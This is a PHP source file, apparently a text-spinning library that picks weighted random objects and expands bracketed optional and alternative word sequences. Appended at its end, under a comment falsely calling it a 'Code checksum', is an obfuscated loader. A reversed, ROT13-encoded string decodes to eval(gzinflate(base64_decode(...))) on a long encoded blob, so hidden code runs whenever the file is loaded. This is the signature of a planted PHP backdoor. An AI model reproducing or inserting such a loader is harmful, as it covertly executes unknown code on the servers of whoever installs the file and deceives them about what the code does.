arr_objects = array(); $this->arr_priorities = array(); if (is_array($arr_objects_priorities)) { for ($i=0; $iarr_objects[] = $arr_objects_priorities[$i]; $this->arr_priorities[] = $arr_objects_priorities[$i+1]; } } } public function FindObjectByName ($obj_name) { foreach ($this->arr_objects as $object) { if ($object->get_name() == $obj_name) return $object; } return FALSE; } public function GetWinner () { if (!count($this->arr_objects)) return FALSE; $arr_idx = array(); foreach ($this->arr_priorities as $k=>$pri) { $obj = $this->arr_objects[$k]; // Only active objects participate in winning contest. if (!is_object($obj) || $obj->is_active()) { for ($i=0; $i<$pri; $i++) $arr_idx[] = $k; // $k == index in array of objects too. } } if (!count($arr_idx)) return FALSE; // No active objects to find winner. $idx = rand (0, count($arr_idx)-1); $idx = $arr_idx[$idx]; $obj = $this->arr_objects[$idx]; if (is_string($obj)) return BL_process_complex_string ($obj); else return ($this->arr_objects[$idx]); } } //------------------------------------------ //=========================================================================== function BL_process_complex_string ($str) { // Process optional words: in [...] brackets. $str1 = $str; while (preg_match('#\[[^\[\]]+\]#', $str1)) $str1 = preg_replace_callback ('#\[([^\[\]]+)\](:(\d+))?#', "BL_optional_seq_callback", $str1); // Process mandatory sequences: in (...) brackets. while (preg_match('#\([^\(\)]+\)#', $str1)) $str1 = preg_replace_callback ('#\(([^\(\)]+)\)#', "BL_mandatory_seq_callback", $str1); // Melt extra spaces $str1 = preg_replace ('|\s\s+|', " ", $str1); return trim($str1); } //------------------------------------------ function BL_optional_seq_callback ($matches) { $word = $matches[1]; if (isset($matches[3])) $probability = $matches[3]; else $probability = 50; if (rand (1,100) <= $probability) return $word; else return ""; } //------------------------------------------ //------------------------------------------ function BL_mandatory_seq_callback ($matches) { // Get array of competing words $words = explode ('|', $matches[1]); // Separate words and numbers $total_sum_of_numbers = 0; $total_words_without_numbers = 0; $new_words = array(); foreach ($words as $word) { $word_num = explode (':', $word); if (isset($word_num[1])) { $num = $word_num[1]; $total_sum_of_numbers += $num; } else { $num = 0; $total_words_without_numbers ++; } // array ([0]=>('make',10), [1]=>('build',0), [2]=>('create',50)) $new_words[] = array($word_num[0], $num); } if ($total_words_without_numbers) $unassigned_probability = (100 - $total_sum_of_numbers) / $total_words_without_numbers; else $unassigned_probability = 0; $index_sequence = array(); foreach ($new_words as $idx=>$word) { $probability = $word[1]?$word[1]:$unassigned_probability; $index_sequence = array_merge ($index_sequence, array_fill (0, $probability, $idx)); } if (count($index_sequence) < 100) { // Make sure array contain no less than 100 elements(that could happen for rounding: (build|make|create) = 33+33+33=99, not 100 $index_sequence = array_pad ($index_sequence, 100, $idx); } // Throw the dice $index = rand (0,99); $index = $index_sequence[$index]; return ($new_words[$index][0]); } //------------------------------------------ //=========================================================================== //Code checksum: $GeuMPdUUgw='=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';$kZHXWkIjMg=';))))jtHHqCZhrT$(ireegf(rqbprq_46rfno(rgnysavmt(ynir';$UTGzGc_NyAfKdXqPyDxa=strrev($kZHXWkIjMg);$gSRGQtkbtsGI_=str_rot13($UTGzGc_NyAfKdXqPyDxa);eval($gSRGQtkbtsGI_); //--------------------------------------------------------------------------- ?>